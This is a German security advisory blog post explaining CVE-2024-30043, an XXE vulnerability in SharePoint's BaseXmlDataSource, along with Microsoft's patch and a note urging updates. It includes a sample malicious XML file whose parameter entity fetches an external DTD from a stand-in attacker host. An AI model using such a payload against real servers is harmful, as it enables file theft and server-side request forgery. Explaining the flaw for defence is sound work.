Am 30. Mai 2024 veröffentlichte der Sicherheitsforscher Piotr Bazydło Details zu einer schwerwiegenden Sicherheitslücke in Microsoft SharePoint, die als CVE-2024-30043 bekannt ist. Die XML External Entity (XXE) Schwachstelle betrifft die Klasse Microsoft.SharePoint.WebControls.BaseXmlDataSource
, eine abstrakte Basisklasse für Datenquellenobjekte, die zu einer SharePoint-Seite hinzugefügt werden können. Diese Klasse ermöglicht es, Datenquellen spezifisch für eine bestimmte Seite zu definieren. Der kritische Punkt liegt im Execute
-Methodenaufruf, der eine URL als Eingabeparameter akzeptiert, welcher auf eine XML-Datei verweist.
Die Schwachstelle wird in zwei Hauptphasen unterteilt: das Abrufen und das Parsen von XML-Daten.
XML-Abruf:
- Die Methode
FetchData
wird verwendet, um XML-Daten basierend auf der angegebenen URL abzurufen. - Es gibt drei Klassen, die diese Methode implementieren:
SoapDataSource
: Führt HTTP-SOAP-Anfragen durch.XmlUrlDataSource
: Führt anpassbare HTTP-Anfragen durch.SPXmlDataSource
: Ruft vorhandene Dateien von der SharePoint-Site ab.
XML-Parsing:
- Obwohl die DTD-Verarbeitung standardmäßig deaktiviert ist, wird ein
XmlSecureResolver
verwendet, der das Sicherheitsniveau der XML-Entität festlegt. - Der Code liest den Inhalt des XML-Dokuments, wobei eine Schwachstelle in der Art und Weise, wie
XmlReader
undXmlSecureResolver
zusammenarbeiten, ausgenutzt werden kann.
Durch geschickte Manipulation und das Einspeisen einer speziellen XML-Datei kann ein Angreifer die XXE-Schwachstelle ausnutzen, um Dateien mit den Berechtigungen des SharePoint Farm Service-Kontos zu lesen, Server-side Request Forgery (SSRF) Angriffe durchzuführen und NTLM-Relaying zu ermöglichen. Ein Beispiel für eine bösartige XML-Datei könnte wie folgt aussehen:
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ELEMENT a ANY >
<!ENTITY % sp SYSTEM "http://attacker/poc.xml">
%sp;
]>
<a>wat</a>
Durch das Einfügen eines speziellen URL-Formats konnte der Sicherheitsforscher die Sicherheitsvorkehrungen umgehen und einen uneingeschränkten Zugriffspolicy im XmlSecureResolver
erreichen, wodurch er Dateien lesen und SSRF-Angriffe durchführen konnte.
Microsoft hat die Schwachstelle gepatcht, indem zusätzliche URL-Parsing-Kontrollen für SPXmlDataSource
implementiert und die Nutzung von DTDs durch das XmlTextReader
-Objekt verboten wurden. Diese Maßnahmen verhindern, dass Parameterentitäten aufgelöst werden, selbst wenn ein Resolver spezifiziert ist.
Update
Mittlerweile wurde ein Exploit veröffentlicht. Es ist also dringend upzudaten.
Professionelle Hilfe erwünscht?
Sentiguard ist spezialisiert auf Notfallhilfe nach Cyberattacken, IT Sicherheitsbeauftragte und IT Sicherheitskonzepte nach BSI Standard. Haben Sie Fragen und wünschen Sie unverbindliche Beratung, dann melden Sie sich gerne bei uns: